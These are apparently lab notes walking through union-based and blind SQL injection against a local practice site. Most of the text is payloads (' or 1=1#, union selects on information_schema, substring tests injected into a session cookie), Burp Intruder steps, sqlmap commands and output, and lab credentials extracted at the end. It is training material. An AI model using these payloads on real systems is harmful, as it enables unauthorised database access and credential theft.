➡️ A SQL injection attack consist of an injection of a (malicious) SQL query via the user input from the client to the application, allowing attackers to read, modify, or delete database data, execute administrative operations, access files, or issue OS commands.
SQL injection - UNION
# Basic SQLi
# Try some Username inputs like
jeremy
jeremy'
jeremy"
jeremy j
# special characters can break the SQL query
jeremy' or 1=1#
jeremy' or 1=1-- -
# 1=1 statement is always true -> the result is always true
# anything after #, -- -, etc, will be ignored
# UNION
jeremy' union select null#
jeremy' union select null,null,null#
jeremy' union select null,null,version()#
jeremy' union select null,null,table_name from information_schema.tables#
jeremy' union select null,null,column_name from information_schema.columns#
jeremy' union select null,null,password from injection0x01#
SQL injection - Blind
Run BurpSuite, set http://localhost/ as project (target) Scope and login as jeremy:jeremy at http://localhost/labs/i0x02.php
Check the Request and Response in the BurpSuite HTTP history
The followed GET requests had the Cookie: session=... header set - login ok
Content-Length: 1027 - may be necessary
Test for injections by sending to Repeater the POST request and modify it
# Payload
username=jeremy&password=password
# Response
Content-Length: 2122
# there is a SQL error
username=jeremy'+or+1%3d1%23&password=password
# URL-encoded key characters (CTRL+U)
# Response
Content-Length: 2122
# there is a SQL error
Try to automate the process with sqlmap
Copy the Request into a new file
sqlmap -r req.txt
# no injectable testd parameters
Send the GET request with the Cookie to the repeater
# Successful login
Content-Length: 1027
# With Cookie modified
Content-Length: 1928 # no login
# With Cookie injected
Cookie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#
Content-Length: 1027 # and login success
📌 Modifying or manipulating the session cookie by injecting SQL and receiving the same successful response suggests the presence of SQL injection
Make a query that gets the version character by character from the database
# substring e.g.
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('a', 1, 1) = 'a'#
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 1) = '8'#
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 4) = '8.0.'#
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 5) = '8.0.3'#
# version enumeration Successfully
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'), 1, 1) = 'a'#
# takes too long manually
Extract jessamy's password via Intruder
send the Request to Intruder
set the last letter a of the inject as Position
add all keyboard letters to the payload simple list
start attack
filter by length or status code
Continue the attack with Intruder or proceed with sqlmap
nano req2.txt # paste the Request with unmodified Cookie
sqlmap -r req2.txt --level=2
---
Parameter: session (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: session=6967cabefd763ac1a1a88e11159957db' AND 9663=9663 AND 'XdcY'='XdcY
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: session=6967cabefd763ac1a1a88e11159957db' AND (SELECT 9555 FROM (SELECT(SLEEP(5)))biVe) AND 'bAxW'='bAxW
---
x' or 1=1#
# returns all the products
Senpai Knife Set' union select null,null,null,null#
# the products table may have only 4 columns
Senpai Knife Set' union select null,null,null,table_name from information_schema.tables#
injection0x03_products
injection0x03_users
Senpai Knife Set' union select null,null,null,column_name from information_schema.columns#
mfa
password
username
Senpai Knife Set' union select null,null,null,username from injection0x03_users#
takeshi
Senpai Knife Set' union select null,null,null,password from injection0x03_users#
onigirigadaisuki
# One query
Senpai Knife Set' union select username,password,null,null from injection0x03_users#
takeshi:onigirigadaisuki # Creds found